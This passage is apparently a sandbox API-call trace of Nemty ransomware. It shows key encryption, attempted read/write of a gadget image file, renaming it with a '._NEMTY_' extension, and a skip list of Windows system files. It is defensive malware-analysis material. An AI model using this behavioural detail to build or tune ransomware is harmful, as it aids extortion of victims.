23 [0120.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0120.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0120.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0120.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0120.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_hover.png", lpUsedDefaultChar=0x0) returned 23 [0120.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0120.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0120.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0120.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0120.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_hover.png", cchWideChar=23, lpMultiByteStr=0x4f9ed08, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_hover.png", lpUsedDefaultChar=0x0) returned 23 [0120.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0120.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0120.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0120.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340298 [0120.060] Sleep (dwMilliseconds=0x5) [0120.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb36fc10, dwHighDateTime=0x1d561e7)) [0120.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb36fc10, dwHighDateTime=0x1d561e7)) [0120.071] GetLastError () returned 0x5 [0120.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.071] GetLastError () returned 0x5 [0120.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0120.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0120.071] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0120.071] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0120.071] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0120.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340350 [0120.071] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340350, pcchString=0x653e91c | out: pszString="f5tYVLw4mclMWR+XhUj3GSmzDvTvyvVJOPMyEuwDPglMUByYRIB75Xks7L4RXL/D\r\nX0VS6qDFX7nkGYYytoTbO/kndvBH5I0jPuSX44nbxpGX5hHa4+N5c/CL13/9NrjG\r\nIe/p7NWDPo/NujJsDe2FC8HT3tDD/guRymKf89j3toa/RpJHFxbVyrK+Xu70qUqp\r\ncxhU1u5p3yjqVn1+lBpyaaI7N+tvUjXN2eIthGmiAjB7Sv+8Oi6mjbqUj9dWTJ+i\r\nNh873/pxYj7xkHh3TkpcVj1J2gT9dRIs9RMAbCmn7jPO/SMvcBgWQDr1nV9C9Nj6\r\nl+aUfbyX7EQz9WVfiE6JlA==\r\n", pcchString=0x653e91c) returned 1 [0120.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0120.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0120.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0120.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0120.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340350 [0120.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0120.072] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.072] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0120.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0120.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.073] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.082] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.082] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.091] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.091] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.111] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.111] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.120] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.129] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.139] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.139] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.148] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.148] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.157] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.158] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.169] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.175] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.181] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.181] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340350, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0120.181] CloseHandle (hObject=0xffffffff) returned 0 [0120.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0120.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0120.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0120.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0120.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0120.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0120.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0120.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0120.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0120.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0120.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_hover.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_hover.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_hover.png._nemty_kgobjgd_")) returned 0 [0120.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0120.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0120.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0120.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0120.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0120.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0120.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0120.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0120.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0120.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.182] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82de3bb2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82de3bb2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b5345f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_left_pressed.png", cAlternateFileName="")) returned 1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2=".") returned 1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="..") returned 1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="...") returned 1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="windows") returned -1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="$RECYCLE.BIN") returned 1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="rsa") returned 1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="NTDETECT.COM") returned 1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="ntldr") returned 1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="MSDOS.SYS") returned 1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="IO.SYS") returned 1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="boot.ini") returned 1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="boot.ini") returned 1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="AUTOEXEC.BAT") returned 1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="ntuser.dat") returned 1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="desktop.ini") returned 1 [0120.182] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="CONFIG.SYS") returned 1 [0120.183] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="RECYCLER") returned 1 [0120.183] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="BOOTSECT.BAK") returned 1 [0120.183] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="bootmgr") returned 1 [0120.183] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="programdata") returned 1 [0120.183] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2="appdata") returned 1 [0120.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0120.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_pressed.png", lpUsedDefaultChar=0x0) returned 25 [0120.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0120.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0120.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_pressed.png", lpUsedDefaultChar=0x0) returned 25 [0120.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0120.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0120.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_pressed.png", lpUsedDefaultChar=0x0) returned 25 [0120.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0120.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0120.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_pressed.png", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_pressed.png", lpUsedDefaultChar=0x0) returned 25 [0120.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340298 [0120.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0120.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 